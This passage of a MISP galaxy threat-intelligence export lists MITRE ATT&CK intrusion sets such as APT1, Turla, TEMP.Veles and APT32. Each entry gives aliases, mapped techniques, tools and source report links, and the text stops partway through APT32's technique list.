[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Stolen Pencil - G0086"

Stolen Pencil - G0086 is also known as:

Stolen Pencil

Stolen Pencil - G0086 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 2986. Table References
Links
https://attack.mitre.org/groups/G0086
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/

Gorgon Group - G0078

[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Gorgon Group - G0078"

Gorgon Group - G0078 is also known as:

Gorgon Group

Gorgon Group - G0078 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Remcos - S0332" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 2987. Table References
Links
https://attack.mitre.org/groups/G0078
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

TEMP.Veles - G0088

[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)

The tag is: misp-galaxy:mitre-intrusion-set="TEMP.Veles - G0088"

TEMP.Veles - G0088 is also known as:

TEMP.Veles
XENOTIME

TEMP.Veles - G0088 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311" with estimative-language:likelihood-probability="almost-certain"

Table 2988. Table References
Links
https://attack.mitre.org/groups/G0088
https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html [https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ]
https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html
https://dragos.com/resource/xenotime/
https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/

FIN10 - G0051

[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)

The tag is: misp-galaxy:mitre-intrusion-set="FIN10 - G0051"

FIN10 - G0051 is also known as:

FIN10

FIN10 - G0051 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

Table 2989. Table References
Links
https://attack.mitre.org/groups/G0051
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf

APT12 - G0005

[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)

The tag is: misp-galaxy:mitre-intrusion-set="APT12 - G0005"

APT12 - G0005 is also known as:

APT12
IXESHE
DynCalc
Numbered Panda
DNSCALC

APT12 - G0005 has relationships with:

similar: misp-galaxy:threat-actor="IXESHE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Ixeshe - S0015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 2990. Table References
Links
https://attack.mitre.org/groups/G0005
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

APT30 - G0013

[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)

The tag is: misp-galaxy:mitre-intrusion-set="APT30 - G0013"

APT30 - G0013 is also known as:

APT30

APT30 - G0013 has relationships with:

similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="SHIPSHAPE - S0028" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NETEAGLE - S0034" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FLASHFLOOD - S0036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SPACESHIP - S0035" with estimative-language:likelihood-probability="almost-certain"

Table 2991. Table References
Links
https://attack.mitre.org/groups/G0013
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/the-naikon-apt/69953/

APT1 - G0006

[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-intrusion-set="APT1 - G0006"

APT1 - G0006 is also known as:

APT1
Comment Crew
Comment Group
Comment Panda

APT1 - G0006 has relationships with:

similar: misp-galaxy:threat-actor="Comment Crew" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Lslsass - S0121" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cachedump - S0119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="xCmd - S0123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Seasalt - S0345" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"

Table 2992. Table References
Links
https://attack.mitre.org/groups/G0006
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Axiom - G0001

[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)

The tag is: misp-galaxy:mitre-intrusion-set="Axiom - G0001"

Axiom - G0001 is also known as:

Axiom
Group 72

Axiom - G0001 has relationships with:

similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"

Table 2993. Table References
Links
https://attack.mitre.org/groups/G0001
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://securelist.com/winnti-more-than-just-a-game/37029/
https://securelist.com/games-are-over/70991/
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
http://blogs.cisco.com/security/talos/threat-spotlight-group-72

Turla - G0010

[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Turla - G0010"

Turla - G0010 is also known as:

Turla
Waterbug
WhiteBear
VENOMOUS BEAR
Snake
Krypton

Turla - G0010 has relationships with:

similar: misp-galaxy:threat-actor="Turla Group" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="APT 26" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Gazer - S0168" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Mosquito - S0256" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="nbtstat - S0102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Kazuar - S0265" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Carbon - S0335" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PowerStallion - S0393" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="LightNeuron - S0395" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"

Table 2994. Table References
Links
https://attack.mitre.org/groups/G0010
https://securelist.com/the-epic-turla-operation/65545/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/introducing-whitebear/81638/
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

APT32 - G0050

[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)

The tag is: misp-galaxy:mitre-intrusion-set="APT32 - G0050"

APT32 - G0050 is also known as:

APT32
SeaLotus
OceanLotus
APT-C-00

APT32 - G0050 has relationships with:

similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="KOMPROGO - S0156" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="WINDSHIELD - S0155" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Denis - S0354" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
